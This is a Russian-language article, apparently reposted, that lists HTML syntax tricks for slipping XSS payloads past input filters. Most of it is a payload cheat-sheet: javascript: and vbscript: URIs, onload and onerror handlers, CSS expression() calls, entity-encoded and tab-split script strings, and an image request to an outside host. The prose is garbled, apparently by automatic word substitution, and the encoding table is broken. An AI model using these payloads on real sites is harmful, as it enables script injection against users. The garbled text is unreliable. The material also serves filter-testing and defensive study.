Особенности синтаксиса HTML
Творцы: Algol, zFailure - последние изменения 13.06.2005
Один из основных методов охраны сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В этой заметке описаны особенности синтаксиса HTML, позволяющие обходить данные фильтры.
Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях либо в других браузерах, примеры могут также никак не трудиться. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, никак не считают этот символ огрничителем.
Помимо пробела, разрешено использовать символы: слеш(/), табуляцию, перевод строки. Разделитель разрешено опустить, ежели предыдущий принадлежность заключен в кавычки.
<image/src="1.png"/alt="Подсказка"/border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png" alt="Подсказка" border="0"> <image src="1.png"alt="Подсказка"border="0">
Значения разрешено заключать в кавычки (двойные также одинарные) также в апострофы, только разрешено общий никак не ограничивать.
<image src="" alt="Моя подсказка" border="0"> <image src="" alt='Моя подсказка' border="0"> <image src="" alt=`Моя подсказка` border="0"> <image src="" alt=Подсказка border="0">
Расшифровка символов в скрипте проистекает до его выполнения:
<img src=javascript:alert("ok")> <img src=javascript:alert('ok')> <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41> <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
<img src=javascript:alert('ok')> <img src=javascript:alert("ok")> <img src=javascript:a=/ok/;alert(a.source)> <img src=javascript:alert(String.fromCharCode(111,107))>
<img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
Несколько способов автоматического запуска скриптов:
<script>alert('ok')</script> <script src=1.js></script> <body onLoad=alert('ok')> <meta http-equiv=Refresh content=0;url=javascript:alert('ok')> <image src=1.png onload=alert('ok')> <image src=javascript:alert('ok')> <image src="" onerror=alert('ok')> <hr style=background:url(javascript:alert('ok'))> <span style=top:expression(alert('ok'))></span> <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)<style type="text/css">@import url(javascript:alert('ok'));</style> <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object> <embed src=javascript:alert('ok');this.avi> <embed src=javascript:alert('ok');this.wav> <iframe src=javascript:alert('ok')> (только в IE)<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a> (запуск только при клике по ссылке)<br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
<img src=javascript:alert()> <img src=vbscript:AleRt()> <img src=JaVasCriPt:alert()> <img src=" javascript:alert()"> (пробелы вплоть до слова javascript) <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()> <img src=javascript&#9:alert()> <img src=javascript&#10:alert()> <img src=javascript&#13:alert()> <img src="javascript :alert()"> (перед двоеточием - символ табуляции) <img src="java scri pt:ale rt()"> (внутри слова javascript - символ табуляции также возврат каретки)
Операторы скрипта в атрибуте style нужно делить "\;".
<hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
<image src="1.png" alt="" border="0"> (тег img также image работают одинаково)<plaintext> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<textarea> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<xml> (все, что станет двигаться позже этого тега, никак не станет отображаться)
Символ | Десятичная кодировка | 16-ая кодировка* | Символьная кодировка | URL-кодировка |
" | " | " | " | %22 |
' | ' | ' | %27 | |
` | ` | ` | %60 | |
<пробел> |   |   | + | |
<табуляция> | 	 | 	 | %09 | |
<возврат каретки> | 
 | 
 | %0D | |
= | = | = | %3D | |
< | < | < | < | %3C |
> | > | > | > | %3E |
\ | \ | \ | %5C | |
% | % | % | %25 | |
+ | + | + | %2B | |
<короткий дефис> | ­ | ­ | ­ | %AD |
& | & | & | & | %26 |
*-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, либо подряд идут несколько символов в этой кодировке).
См. схоже: http://ha.ckers.org/xss.html
Дата створення/оновлення: 25.05.2018